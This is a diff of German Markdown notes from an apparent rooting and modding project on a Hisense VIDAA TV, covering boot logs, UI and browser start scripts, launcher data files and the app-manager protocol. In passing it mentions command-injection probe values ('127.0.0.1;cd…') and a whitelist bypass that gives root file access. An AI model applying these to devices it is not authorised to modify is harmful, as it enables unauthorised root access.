- **Konsequenz:** Der Patch-Ordner muss die **komplette** `opera4x`-Struktur enthalten (oder ein Symlink-Baum auf `/3rd/opera4x` sein), sonst fehlen Browser/UI/Libs.
|
||||||
|
- **Für einzelne Dateien** (z. B. `hisenseUI/start-UI.sh`, `opera_env.sh`) ist ein **Datei-Bind-Mount** in `developer.sh` sicherer:
|
||||||
|
```sh
|
||||||
|
mount --bind /3rd_rw/patch/start-UI-custom.sh /3rd/opera4x/hisenseUI/start-UI.sh
|
||||||
|
```
|
||||||
|
- Der Patch-Ordner ist **nicht** vorhanden; er ist ein optionaler Vendor-Hook. Siehe `04-modding.md` Route E.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Logs / Verifikation
|
||||||
|
|
||||||
|
- **`/proc/boottime`**: Timing-Marker (`rc.local begin`, `mount_main.sh`, `fusion.ko`, `ms_service` etc.).
|
||||||
|
- **`/tmp/am_*`**: AM-Infos (`am_tv_model_name`, `am_tv_version`, `am_start.ini`-Status).
|
||||||
|
- **`/tmp/fifo_am_*`, `/tmp/DmrLaunchedStatus.dat`, …**: AM/DIAL.
|
||||||
|
- **Hisense Runlog**: `/3rd/his_runlog/runlogservice.sh`, `/3rd_rw/...` (Logs).
|
||||||
|
- **`Seriallog`**: `/3rd/Serial_log`.
|
||||||
|
- **Unser SSH/Deploy**: `/3rd_rw/sshd/dropbear.log`, `/3rd_rw/sshd/mount.log`, `/3rd_rw/appdata/root_out.txt`, `/3rd_rw/appdata/root_loop.log`.
|
||||||
|
- **Prozesse:** `ps`, `/proc/<pid>/cmdline`, `/proc/<pid>/status`.
|
||||||
|
- **UI:** `hisenseUI` (PID z. B. 589), `hisense_browser` (PID z. B. 1320), `app_man`, `dtv_svc`, `LauncherService`, `HamService`.
|
||||||
|
|
||||||
|
**Health-Check auf dem TV:**
|
||||||
|
|
||||||
|
```sh
|
||||||
|
/bin/sh /3rd_rw/appdata/verify.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Risiken / Grenzen
|
||||||
|
|
||||||
|
- **`developer.sh`-Fehler** können `ms_service`/UI/`app_man`/`delayrun` verhindern → TV-UI schwarz, Apps starten nicht. Immer mit `set -x`/Log und Fallback (SSH/Root-Loop, Web-Browser) arbeiten.
|
||||||
|
- **`am_config`/`am_start.ini` beschädigen** → native Apps (TV, Netflix, DIAL) starten nicht. Modifizierte Kopien **vorher testen**; `developer.sh`-Bind nur mit Backup; Rollback = Bind lösen/reboot.
|
||||||
|
- **`app_man`/`dtv_svc` deaktivieren** → TV/Remote/Apps kaputt; für eine reine Custom-UI riskant. `dtv_svc`/`app_man` lieber behalten.
|
||||||
|
- **`/3rd_rw/patch/opera4x` full overlay** → fehlende Dateien = Browser/UI kaputt. Nur mit vollständiger Kopie; besser Datei-Bind.
|
||||||
|
- **`ms_service`/`swrc`/`runlog`/`Seriallog`** abschalten ist meist unkritisch, kann aber DLNA/Remote/Logs kosten.
|
||||||
|
- **`securetime`** ist PlayReady/DRM; deaktivieren kann DRM/Netflix brechen.
|
||||||
|
- **Kein Flash/Recovery:** Der TV hat kein UART angeschlossen; der Root/SSH-Weg und `developer.sh`/HamService-Wrapper sind die Rettungswege. Keine Änderungen am ro Rootfs/`/3rd` ohne vollständiges Verständnis.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Unknowns
|
||||||
|
|
||||||
|
- Echter U-Boot-Flow/Env (Bad CRC), Secure Boot, Signaturprüfung, A/B-Slot-Auswahl.
|
||||||
|
- Voller Inhalt von `checker.sh`, `ota_upgrade_strategy.sh`, `file_upgrading`, `bspatch`/OTA.
|
||||||
|
- `dtv_svc`/`app_man`/`am`-Interna, `:am`-Semantik im Detail, `coexist_set`/`backgm`/`keymap`.
|
||||||
|
- `LauncherService`-Datenquelle (Store/Foxxum/FCGI), `hisenseUI`-Template-Auswahl.
|
||||||
|
- Ob `VIDAAU2Launcher` auf diesem Modell je aktiv ist (die aktive UI ist `/3rd_rw/UI`).
|
||||||
|
- `ms_service`/`swrc`/`runlog`/`Seriallog`/`HamService`-Abschaltfolgen.
|
||||||
|
- Exakte Service-PIDs/Reihenfolge variieren pro Boot; die Skript-/Zeilen-Reihenfolge ist stabil.
|
||||||
@@ -0,0 +1,366 @@
|
|||||||
|
# 03 — UI: `hisenseUI`, Web-Browser, Launcher, AM, Daten
|
||||||
|
|
||||||
|
**Status:** UI-Start, Pfade, Prozesse, App-/Launcher-Daten und AM-Konfiguration **CONFIRMED** (live/static). Template-/API-Details und die aktive Skin-Auswahl teils `UNVERIFIED`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Zwei Browser, zwei Welten
|
||||||
|
|
||||||
|
| | TV-UI | Web-Browser |
|
||||||
|
|---|---|---|
|
||||||
|
| Prozess | **`hisenseUI`** (z. B. PID 589) | **`hisense_browser`** (z. B. PID 1320) |
|
||||||
|
| Start | `/3rd/opera4x/hisenseUI/start-UI.sh` (autorun Zeile 168) | `/3rd/opera4x/browser/run-Browser.sh` (AM-App `opera4x`) |
|
||||||
|
| Renderer | **GLES** (`--hw-gles`, Mali) | **DirectFB** (`--hw-dfb`) |
|
||||||
|
| Seite | **`/3rd_rw/UI/index.html`** | beliebige Web-URL; unsere Recon-Seite |
|
||||||
|
| JS-Plugins | **`/3rd/UI_jsplugins`** | `/3rd/opera4x/opera_dir/jsplugins` |
|
||||||
|
| DevTools | **9223** (wenn `enable_developer_tools`) | **9224** (wenn `enable_developer_tools`) |
|
||||||
|
| Zweck | TV-Home/Settings/Launcher | Internet/TV-Browser/Web-Apps |
|
||||||
|
| User | root | root |
|
||||||
|
|
||||||
|
**Wichtig:** Das TV-UI ist **nicht** der „TV Browser“-Tile. Der Tile startet `opera4x`/`hisense_browser` (Web-Browser). Das System-UI ist `hisenseUI` und läuft separat.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. TV-UI: Start und Seite
|
||||||
|
|
||||||
|
### 2.1 Startskript
|
||||||
|
|
||||||
|
`/3rd/opera4x/hisenseUI/start-UI.sh` (ro; Aufruf aus `/basic/autorun.sh` Zeile 168):
|
||||||
|
|
||||||
|
```sh
|
||||||
|
set -e
|
||||||
|
cd /3rd/opera4x/hisenseUI
|
||||||
|
. ./opera_env.sh
|
||||||
|
export MEMORY_LIMIT=$(( 500*1024*1024 ))
|
||||||
|
STARTPAGE=/3rd_rw/UI/index.html
|
||||||
|
# optional: "disk" -> /3rd_rw/UI/index.html; "url" -> http://172.16.12.134/modernTV/UI/hisenseUI/index.html
|
||||||
|
export LD_PRELOAD="/3rd/opera4x/lib/libcurl.so.4.4.0"
|
||||||
|
cmd="./bin/hisenseUI"
|
||||||
|
cmd+=" --hw-gles"
|
||||||
|
cmd+=" --js-flags=\"--expose-gc\""
|
||||||
|
cmd+=" --jsplugins-dir=/3rd/UI_jsplugins"
|
||||||
|
cmd+=" --enable-gpu-rasterization --force-gpu-rasterization"
|
||||||
|
cmd+=" --force-gpu-mem-available-mb=512 --disable-software-rasterizer"
|
||||||
|
cmd+=" --disable-web-security"
|
||||||
|
cmd+=" --http-cache-size=30"
|
||||||
|
cmd+=" -u ${STARTPAGE}"
|
||||||
|
# wenn /3rd_rw/appdata/enable_developer_tools: --remote-debugging-port=9223
|
||||||
|
exec $cmd
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Seite:** `/3rd_rw/UI/index.html` (rw).
|
||||||
|
- **`--disable-web-security`**: lokale Files/Cross-Origin erlaubt; die UI kann `file://`/`/3rd_rw` lesen.
|
||||||
|
- **`--jsplugins-dir=/3rd/UI_jsplugins`**: TV-APIs der UI.
|
||||||
|
- **GLES/Mali**: `ins_arm_mali_mod.sh`, `OPERA_EGL_SCREEN_SIZE=1920x1080`; UI-CSS nutzt 1280×720.
|
||||||
|
- **DevTools 9223** nur mit `/3rd_rw/appdata/enable_developer_tools` (existiert).
|
||||||
|
- **MEMORY_LIMIT 500 MB**; `--expose-gc`; GPU-Rasterisierung.
|
||||||
|
|
||||||
|
### 2.2 UI-Seite `/3rd_rw/UI/index.html`
|
||||||
|
|
||||||
|
Die Seite ist eine **PIXI-basierte Web-UI** (`loadModel()`):
|
||||||
|
|
||||||
|
```js
|
||||||
|
$LAB.script("pub/PubDefine.js").wait()
|
||||||
|
.script("model/model.js")
|
||||||
|
.script("lib/pixi.js")
|
||||||
|
.script("lib/tweenjs-0.6.2.combined.js")
|
||||||
|
.script("sdk/MessagePool.js")
|
||||||
|
.script("sdk/UI.js")
|
||||||
|
.script("lib/jquery-1.8.2.js")
|
||||||
|
.script("sdk/Const.js")
|
||||||
|
.script("sdk/Debug.js")
|
||||||
|
.script("sdk/Util.js")
|
||||||
|
.script("pub/PubFunc.js")
|
||||||
|
.script("lib/launcherDataInterface.js")
|
||||||
|
.script("lib/parseXML.js")
|
||||||
|
.script("lib/inputsInterface.js")
|
||||||
|
.script("pub/HisProductConfig.js")
|
||||||
|
.script("sdk/Logreport.js")
|
||||||
|
.script("pub/persianCalendarTime.js")
|
||||||
|
```
|
||||||
|
|
||||||
|
- **`UI/`-Unterordner:** `assets/`, `data/`, `keyboard/`, `language/`, `lib/`, `model/`, `module/`, `pub/`, `sdk/`, `templates/`, `tools/`.
|
||||||
|
- **`pub/HisProductConfig.js`** (Dump): `acrflag=false`, `ciplus_certification=false`, `pvr_enable=true`.
|
||||||
|
- **`model/model.js`/`sdk/UI.js`**: UI-Framework; `TVAPI`/`model`/`guijs` stehen der UI-Seite zur Verfügung.
|
||||||
|
- **`lib/launcherDataInterface.js` (139 KB, `ldi.js`)**: lädt Launcher-/Kategorie-/App-Daten; zentrale Stelle für App-Tiles.
|
||||||
|
- **`templates/`/`module/`**: UI-Templates/Module (Settings, Launcher, etc.).
|
||||||
|
- **`UI_jsplugins`** (ro, `/3rd/UI_jsplugins`): `libhisensejs`, `libmodeljs`, `libutiljs`, `libimejs`, `libdtv`, `libmmp`, `libsql`, `libpwjs`, `libmtkrpcwrapper`, `libchanneldump`, `libdmp-adapter`, `libavsmusic`, … — die `Hisense_*`/`TVAPI`-Funktionen.
|
||||||
|
|
||||||
|
### 2.3 UI-Prozess prüfen / neu starten
|
||||||
|
|
||||||
|
```sh
|
||||||
|
ps | grep hisenseUI | grep -v grep
|
||||||
|
# PID ermitteln
|
||||||
|
kill <PID>
|
||||||
|
nohup /3rd/opera4x/hisenseUI/start-UI.sh >/tmp/hisenseUI.log 2>&1 &
|
||||||
|
```
|
||||||
|
|
||||||
|
- `start-UI.sh` **exec**t `hisenseUI`; nach `kill` startet das Skript einen neuen UI-Prozess.
|
||||||
|
- **Achtung:** Bei kaputter `UI/index.html` wird der Bildschirm schwarz. SSH/Root-Loop als Rettungsweg; Backup der `index.html` zurückkopieren, UI neu starten.
|
||||||
|
- **DevTools 9223** (wenn `enable_developer_tools`): `http://192.168.188.94:9223/` vom Host (Chrome/Chromium). Dort kannst du die UI-Seite inspizieren/JS ausführen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Launcher-/App-Daten (das eigentliche „Wo ist das UI?“)
|
||||||
|
|
||||||
|
Die UI liest die App-/Kategorie-Daten über `lib/launcherDataInterface.js` (`ldi.js`) aus `/3rd_rw/appdata/launcher/` (Bridge-Root `/3rd_rw/appdata`):
|
||||||
|
|
||||||
|
```
|
||||||
|
/3rd_rw/appdata/launcher/
|
||||||
|
preset.txt # 26 vorinstallierte App-Tiles (Cache/Liste)
|
||||||
|
Appinfo.json # vom Nutzer installierte Web-Apps (unser VidaaRecon)
|
||||||
|
deletedPresetApp.txt # JSON-Array der ausgeblendeten Tiles
|
||||||
|
rememberEditApp.json # Launcher-Edit-State
|
||||||
|
settingappinfo.txt # Setting-/App-Info
|
||||||
|
data/
|
||||||
|
CategoryIndex.xml # Kategorien (aktiv, wenn serviceUpdate zum Land passt)
|
||||||
|
CategoryList_*.xml
|
||||||
|
Category_1001_*.xml # App-Tiles (35 KB)
|
||||||
|
Category_57_*.xml # App-Tiles (35 KB)
|
||||||
|
PicInfo.xml # Bilder/Assets
|
||||||
|
serviceUpdate.xml # Land/Timestamp der Store-/Kategorie-Daten
|
||||||
|
SwitchFeatureList.xml
|
||||||
|
res/ # Tile-Icons (PNG/JPG)
|
||||||
|
cache/index.json # Icon-Cache
|
||||||
|
firstNotification.txt, lanCode.txt, NotifySwitchStatus.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
Zusätzlich:
|
||||||
|
|
||||||
|
```
|
||||||
|
/3rd_rw/launcher/ # Alt-/Asset-Skin (html/js/css/img/data); Datenpfad appdata/launcher
|
||||||
|
/3rd_rw/UI/data/ # Default-/Fallback-Launcher-Daten (wenn Store-Land/Timestamp nicht passt)
|
||||||
|
/3rd_rw/launcher/data/templateConfig.xml # Template-Konfiguration (Alt-/UI-Templates)
|
||||||
|
/3rd_rw/VIDAAU2Launcher/ # VIDAA-U2-Tile-Launcher (Alternativ-Skin; Aktivierung UNVERIFIED)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.1 `ldi.js`: aktive Datenquelle
|
||||||
|
|
||||||
|
```js
|
||||||
|
var mainJSON;
|
||||||
|
var defaultData = (serviceCountryCode != currentCountryCode) || getAlwaysDefaultDataStatus() || serviceUpdate.timeStamp == 0;
|
||||||
|
var launcherPath = defaultData ? "UI/data/" : "launcher/data/";
|
||||||
|
if (defaultData) mainJSON = loadLauncherDefaultData(launcherPath, currentCountryCode);
|
||||||
|
else mainJSON = readXMLDOM(launcherPath + "CategoryIndex.xml", 1);
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Land/Sprache:** `user_db.db` → `tvapi.str.basic.settings.tvset.location = DEU`, `tvapi.i32.language.osd = 16`, Brand `his`, Region 7.
|
||||||
|
- **Aktiver Pfad:** `launcher/data/` (`/3rd_rw/appdata/launcher/data`), sofern `serviceUpdate.xml` zum Land `DEU` passt und Timestamp ≠ 0; sonst `UI/data/`-Default.
|
||||||
|
- **Quelle:** `CategoryIndex.xml`/`CategoryList_*.xml`/`Category_*.xml`/`PicInfo.xml`.
|
||||||
|
- **`preset.txt`:** wird aus den Kategorie-/App-Daten + `deletedPresetApp.txt` erzeugt (`allAppsWriteToFileForUse`); ist ein **Cache**.
|
||||||
|
- **`deletedPresetApp.txt`:** persistente **Hide-Liste** (JSON-Array von URLs/IDs); die UI/der Launcher filtert damit.
|
||||||
|
- **`Appinfo.json`:** User-Web-Apps (`pushFavoriteApps`), z. B. unser `VidaaRecon`.
|
||||||
|
|
||||||
|
### 3.2 Die 26 Preset-Tiles (Stand live)
|
||||||
|
|
||||||
|
Aus `preset.txt` (Reihenfolge/Inhalt live):
|
||||||
|
|
||||||
|
| App | StartCommand / URL | Typ |
|
||||||
|
|---|---|---|
|
||||||
|
| Netflix | `netflix` | native (AM) |
|
||||||
|
| Prime Video | `amazon` | native (AM) |
|
||||||
|
| Disney+ | `https://cd-dmgz.bamgrid.com/bbd/hisense_tv/index.html` | Web |
|
||||||
|
| maxdome | `http://8577004de253-ott-tv.maxdome.de` | Web |
|
||||||
|
| YouTube | `youtube` | native/Web (AM) |
|
||||||
|
| Rakuten TV | `https://prod-hisense-ui40-app.rakuten.tv/` | Web |
|
||||||
|
| rlaxxTV | `https://tvapp.rlaxxtv.com/r/no-animations/720/?customer=Hisense` | Web |
|
||||||
|
| Chili | `https://hisense.chili.com` | Web |
|
||||||
|
| UEFA.TV | `https://smarttv.uefa.tv` | Web |
|
||||||
|
| RTL TVNOW | `https://app.hisense.rtl-smart.tv/` | Web |
|
||||||
|
| Kidoodle.TV | `https://ctv-vewd.kidoodle.tv` | Web |
|
||||||
|
| AccuWeather | `accuweather` | native/Web |
|
||||||
|
| YuppTV | `http://www.yupptv.com/hisense/index.html` | Web |
|
||||||
|
| Plex | `http://plex.tv/web/tv/hisense?mixedContent=1` | Web |
|
||||||
|
| Videociety | `https://smarttv3.videociety.de` | Web |
|
||||||
|
| App Store | `http://2897431816.fxm3751860294.com/?category=apps` | Store/Foxxum |
|
||||||
|
| Movies | `...?category=movies` | Store |
|
||||||
|
| Catch up TV | `...?category=catchup` | Store |
|
||||||
|
| News | `...?category=news` | Store |
|
||||||
|
| Music | `...?category=music` | Store |
|
||||||
|
| Sports | `...?category=sport` | Store |
|
||||||
|
| Search | `...?category=search` | Store |
|
||||||
|
| Game Center | `http://apps.tvgam.es/tv_games/hisense_portal/production/portal/index.html` | Web |
|
||||||
|
| TV Browser | `browser` | native (Web-Browser) |
|
||||||
|
| VIDAA tv | `vidaa-plus` | native/Store |
|
||||||
|
| VidaaRecon | `http://192.168.188.150:9000/recon.html` | User/Web (`UrlType 36`) |
|
||||||
|
|
||||||
|
- **`UrlType 37`** = Start Web App; **`36`** = User-/Recon-App (unser Eintrag).
|
||||||
|
- **`PreInstall:true`** bei den Presets; unser `VidaaRecon` ist in `preset.txt` gelandet (Launcher-Cache), `Appinfo.json` hat den User-Eintrag.
|
||||||
|
- **`StoreType`:** `0`/`foxxum`; die Store-Apps sind Foxxum-URLs.
|
||||||
|
- **Icons:** `res/167593027...png`; `Image`/`IconURL`/`Thumb`/`Icon_96`; Fallback `useDefaultImg`.
|
||||||
|
|
||||||
|
### 3.3 `Appinfo.json` (User-Apps) — unser Beispiel
|
||||||
|
|
||||||
|
```json
|
||||||
|
{"AppInfo":[
|
||||||
|
{"AppId":"VidaaRecondebug",
|
||||||
|
"Thumb":"http://192.168.188.150:9000/icon.png",
|
||||||
|
"Icon_96":"http://192.168.188.150:9000/icon.png",
|
||||||
|
"Image":"http://192.168.188.150:9000/icon.png",
|
||||||
|
"URL":"http://192.168.188.150:9000/recon.html",
|
||||||
|
"AppName":"VidaaRecon",
|
||||||
|
"Title":"VidaaRecon",
|
||||||
|
"IconURL":"http://192.168.188.150:9000/icon.png",
|
||||||
|
"StartCommand":"http://192.168.188.150:9000/recon.html",
|
||||||
|
"InstallTime":"2026-10-25",
|
||||||
|
"RunTimes":0,
|
||||||
|
"StoreType":"foxxum",
|
||||||
|
"PreInstall":false}
|
||||||
|
]}
|
||||||
|
```
|
||||||
|
|
||||||
|
- Die UI/der Launcher liest `AppInfo` und fügt die Apps als **User-Apps** hinzu (`canRemove=true`; `appUrlType=START_WEBAPP`).
|
||||||
|
- Der `StartCommand`/`URL` kann `http://…` oder `file:///3rd_rw/…` sein; der **Web-Browser** (`hisense_browser`) öffnet ihn (nicht die UI).
|
||||||
|
- **Icon:** HTTP/`file://`; lokal in `res/`/`cache`; `useDefaultImg` als Fallback.
|
||||||
|
|
||||||
|
### 3.4 `deletedPresetApp.txt` (Hide-Liste)
|
||||||
|
|
||||||
|
- JSON-Array von URLs/StartCommands/IDs.
|
||||||
|
- Der Launcher/`ldi.js` filtert die Kategorien/`preset`-Liste damit.
|
||||||
|
- **Stand 2026-10-26:** Die alten Probe-Einträge (data:, javascript:, 127.0.0.1;cd…) wurden beim Cleanup entfernt; die Datei ist jetzt `[]`. Die 26 Presets sind sichtbar. Zum Ausblenden die gewünschten URLs/IDs eintragen (siehe `05-bloat.md`).
|
||||||
|
- Die Datei ist rw (`/3rd_rw/appdata/launcher/deletedPresetApp.txt`); per SSH/`File.write` änderbar.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. LauncherService
|
||||||
|
|
||||||
|
`/3rd/launcherservice/startLS.sh` (aus `delayrun.sh` nach 15 s):
|
||||||
|
|
||||||
|
```sh
|
||||||
|
export LD_LIBRARY_PATH=/lib:/basic:/basic/lib:/3rd/lib:/3rd/hicjson/lib/:/3rd/hisdk2.0/lib:/3rd/hisdk/lib:/3rd/loglevel/lib:/3rd/his_runlog/lib:/3rd/launcherservice/lib
|
||||||
|
/3rd/launcherservice/bin/LauncherService &
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Rolle:** liefert/aktualisiert Launcher-/Kategorie-/App-Daten und Auth für die UI; verwaltet `/tmp/launcher/…`.
|
||||||
|
- **Strings (Auszug):**
|
||||||
|
- `/3rd_rw/appdata/launcher/data/CategoryIndex.xml`, `PicInfo.xml`, `serviceUpdate.xml`
|
||||||
|
- `/3rd_rw/appdata/launcher/res`, `cache`
|
||||||
|
- `/tmp/launcher/{CategoryIndexNew.xml,PicInfo.xml,launcher_recv_socket,launcher_send_socket,launcherServiceAuth.xml}`
|
||||||
|
- `/cgi-bin/launcher_index.fcgi?action=GetChannelFilePath|GetEULAFilePath|GetSwitchFlag`
|
||||||
|
- `updateFile4weblauncher`, `LauncherInit`, `Launcher_SendMsgToLauncher`
|
||||||
|
- **`Hisense_GetLauncherServiceAuth`** (JS) liest `/tmp/launcherServiceAuth.xml` (Launcher-Auth-Token).
|
||||||
|
- **Store/Foxxum:** die Kategorie-/App-Daten kommen aus den Store-/Foxxum-Daten; `serviceUpdate.xml` (Land/Timestamp) entscheidet, ob `launcher/data` oder `UI/data` genutzt wird.
|
||||||
|
|
||||||
|
**Für Modding:** `preset`/`Appinfo`/`deleted` sind die lokalen, einfachen Hebel. Die `Category*.xml`/`PicInfo`/`serviceUpdate` sind die Store-/Launcher-Quelle; Änderungen daran nur mit Backup (der Service kann sie überschreiben).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. AM (`app_man`) und `:am`
|
||||||
|
|
||||||
|
- **Start:** `/basic/app_man -c /basic/am_config -s /basic/am_start.ini -input_fifo &` (autorun Zeile 177).
|
||||||
|
- **Boot-Apps:** `dtv_app_mtk` (`/basic/dtv_svc`), `netflix`, `dialserver`, `samba_relay_agent`, `browser_base`, `securetime` (aus `am_start.ini`).
|
||||||
|
- **On-demand/Apps:** `opera4x` (`run-Browser.sh`), `opera_browser`, `youtube`, `cobalt`, `amazon_ignition`, `factory_lite`, `huluplus`, `hotlist`, `generic_osd`, `vudu`, `diskcache`, `youtube_kids`/`youtube_tv`, …
|
||||||
|
- **Protokoll:** `:am,<app>,:<verb>=<val>`; Verbs u. a.:
|
||||||
|
- `start`, `stop`, `pause`, `resume`, `URL`, `backgm`, `foregm`, `shutdown`, `suspend`, `wakeup`
|
||||||
|
- `:am,am,:shutdowned=…`, `:am,am,:stoped_all=…`
|
||||||
|
- `:am,<app>,<sub>:started=…` etc. (Status-Reports)
|
||||||
|
- **Kein `exec`/`args` über AM**; nur die konfigurierten `exec`/`args` aus `am_config`.
|
||||||
|
- **JS:** `HiBrowser.System.startApp(":am,<app>,:start=<val>")` im Web-Browser; `Hisense_StartApp(…)` in der UI (Signatur/Verhalten `UNVERIFIED`; im UI-JS/DevTools testen).
|
||||||
|
- **Beispiele:**
|
||||||
|
```js
|
||||||
|
HiBrowser.System.startApp(":am,opera4x,:start=opera4x");
|
||||||
|
HiBrowser.System.startApp(":am,netflix,:start=netflix");
|
||||||
|
HiBrowser.System.startApp(":am,opera4x,:URL=http://192.168.188.150:9000/recon.html");
|
||||||
|
HiBrowser.System.startApp(":am,opera4x,:stop=opera4x");
|
||||||
|
```
|
||||||
|
(Die exakte `start`-Semantik je App ist `UNVERIFIED`; `:URL`/`:stop` sind aus den `app_man`-Strings belegt.)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Web-Browser (`hisense_browser`, `opera4x`)
|
||||||
|
|
||||||
|
`/3rd/opera4x/browser/run-Browser.sh` (ro):
|
||||||
|
|
||||||
|
```sh
|
||||||
|
. ./opera_env.sh
|
||||||
|
export LD_PRELOAD=/3rd/opera4x/lib/libcurl.so.4.4.0
|
||||||
|
cmd="./bin/hisense_browser"
|
||||||
|
cmd+=" --hw-dfb --dfb-memory-limit-mb=128"
|
||||||
|
cmd+=" --disable-imestart-on-enter-key"
|
||||||
|
cmd+=" --with-feature:tvsdk-netview=on"
|
||||||
|
cmd+=" --with-feature:adaptive-streaming-secure-path-drm=on"
|
||||||
|
cmd+=" --ait=data/mit.sec"
|
||||||
|
cmd+=" --allow-running-insecure-content"
|
||||||
|
cmd+=" --enable-spatial-navigation"
|
||||||
|
cmd+=" --allow-file-access-from-files"
|
||||||
|
cmd+=" --http-cache-size=30"
|
||||||
|
# --disable-single-window-browsing (Modell)
|
||||||
|
# --remote-debugging-port=9224, wenn /3rd_rw/appdata/enable_developer_tools
|
||||||
|
exec $cmd "$@"
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Profil:** `/3rd_rw/opera4x/opera_home_browser/` (`opera.json`, `browser.db`, `cookies`, `Local Storage`, `web_ui`, `widevine`, …).
|
||||||
|
- **`opera.json`:** `userjs.path=/3rd/opera4x/opera_dir/userjs_browser` (ro); `spatial_navigation_enabled=true`; `transparent=true`; Font Tiresias; `http_accept_language=de, en`.
|
||||||
|
- **`browser.db`:** SQLite (Opera Speed Dial/History); **nicht** die TV-UI-App-Liste.
|
||||||
|
- **`user_db.db`:** TV-Settings (Sprache, Land, Brand, Region); **nicht** die App-Liste.
|
||||||
|
- **JS-APIs:** `/3rd/opera4x/opera_dir/jsplugins` (`libhspdk-jsx`, `libhspdk-linux`, `libhisensejs`, `libmodeljs`, …) → `HiBrowser` (`File`, `System`, `loadLibrary`, `Cache`, `JsonWrite`, …), `Hisense_*`.
|
||||||
|
- **Unlock:** `--allow-file-access-from-files`, `--allow-running-insecure-content`, `--disable-web-security`? (das UI nutzt `--disable-web-security`; der Web-Browser nicht, aber `--allow-file-access-from-files`).
|
||||||
|
- **DevTools 9224** mit `enable_developer_tools`; von dort kann die Seite/JS inspiziert werden.
|
||||||
|
- **Unser Recon:** `http://192.168.188.150:9000/recon.html`; `HiBrowser.File.download`/`write`, `HiBrowser.System.startApp`, `HiBrowser.loadLibrary`.
|
||||||
|
|
||||||
|
**Root-Kontext:** `hisense_browser` ist UID/GID 0, `CapEff` voll, Single-Process, kein Seccomp. Die `HiBrowser.File`-APIs sind root-equivalent (Whitelist: `/3rd_rw/appdata`, `/dev/shm/shm_tmp`, `/3rd/launcher/data`; USB-Symlink-Bypass).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Aktive UI vs. Alt-/Alternativ-Skins
|
||||||
|
|
||||||
|
| Pfad | Rolle | Status |
|
||||||
|
|---|---|---|
|
||||||
|
| `/3rd_rw/UI/index.html` + `/3rd/opera4x/hisenseUI` | **aktive TV-UI** (PIXI, GLES) | **aktiv** (Startskript) |
|
||||||
|
| `/3rd_rw/appdata/launcher` | **aktive Launcher-/App-Daten** | **aktiv** (`ldi.js` `launcher/data`) |
|
||||||
|
| `/3rd_rw/UI/data` | Default-/Fallback-Daten | Fallback, wenn Store-Land/Timestamp nicht passt |
|
||||||
|
| `/3rd_rw/launcher` | Alt-/Asset-Skin (HTML/JS/CSS/IMG; `data/templateConfig.xml`) | Alt/Asset; **nicht** der UI-Start |
|
||||||
|
| `/3rd_rw/VIDAAU2Launcher` | VIDAA-U2-Tile-Launcher | Alternativ; **Aktivierung auf diesem Modell UNVERIFIED** |
|
||||||
|
| `/3rd/UI_jsplugins` | UI-TV-APIs | aktiv |
|
||||||
|
| `/3rd/opera4x/opera_dir/jsplugins` | Web-Browser-JS-APIs | aktiv (für `hisense_browser`) |
|
||||||
|
|
||||||
|
**Wichtig:** Wenn du „die UI ändern“ willst, ist der aktive Einstieg **`/3rd_rw/UI/index.html`** und die **Launcher-Daten** in `/3rd_rw/appdata/launcher`. Die `launcher`-/`VIDAAU2Launcher`-HTML/JS sind Alt-/Alternativ-Skins; Änderungen dort wirken nur, wenn die UI sie tatsächlich lädt (`UNVERIFIED`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. UI-Restart / DevTools / Tests
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# UI-Prozess
|
||||||
|
ps | grep hisenseUI | grep -v grep
|
||||||
|
kill <PID>
|
||||||
|
nohup /3rd/opera4x/hisenseUI/start-UI.sh >/tmp/hisenseUI.log 2>&1 &
|
||||||
|
|
||||||
|
# Web-Browser via AM
|
||||||
|
# :am,opera4x,:stop / :start (oder TV-Browser-Tile)
|
||||||
|
```
|
||||||
|
|
||||||
|
- **UI DevTools 9223:** `http://192.168.188.94:9223/` (Host-Chrome). Dort `document`, `TVAPI`, `model`, `guijs`, `Hisense_*` prüfen.
|
||||||
|
- **Web-Browser DevTools 9224:** `http://192.168.188.94:9224/`; dort `HiBrowser`, `File`, `System`, `Hisense_*` prüfen.
|
||||||
|
- **UI-Test:** Nach Änderung der `UI/index.html`/JS/CSS UI neu starten; bei schwarzem Bildschirm SSH/Root-Loop + Backup.
|
||||||
|
- **Launcher-Test:** `Appinfo.json`/`deletedPresetApp.txt` ändern; UI/Launcher neu starten; Tiles prüfen.
|
||||||
|
- **App-Tile-Test:** `Appinfo.json` ergänzen; UI neu starten; App öffnen; Web-Browser/Recon.
|
||||||
|
- **UI-Dateien hochladen:** nach optionalem SFTP-Install
|
||||||
|
(`../root/scripts/host/install_sftp.sh`) mit `sftp root@192.168.188.94`
|
||||||
|
(`put -r`/`get`); sonst per SSH/`tar` oder `File.download`. Backup vorher.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Evidence
|
||||||
|
|
||||||
|
- Prozesse: `ps`, `/proc/<pid>/cmdline`, `/proc/<pid>/environ` (`hisenseUI` PID 589; `hisense_browser` PID 1320).
|
||||||
|
- Startskripte: `/3rd/opera4x/hisenseUI/start-UI.sh`, `/3rd/opera4x/browser/run-Browser.sh`, `/3rd/launcherservice/startLS.sh`.
|
||||||
|
- UI-Seite: `/3rd_rw/UI/index.html`; `UI/pub/HisProductConfig.js`; `UI/lib/launcherDataInterface.js` (`ldi.js`); `UI/data/`; `UI/templates/`.
|
||||||
|
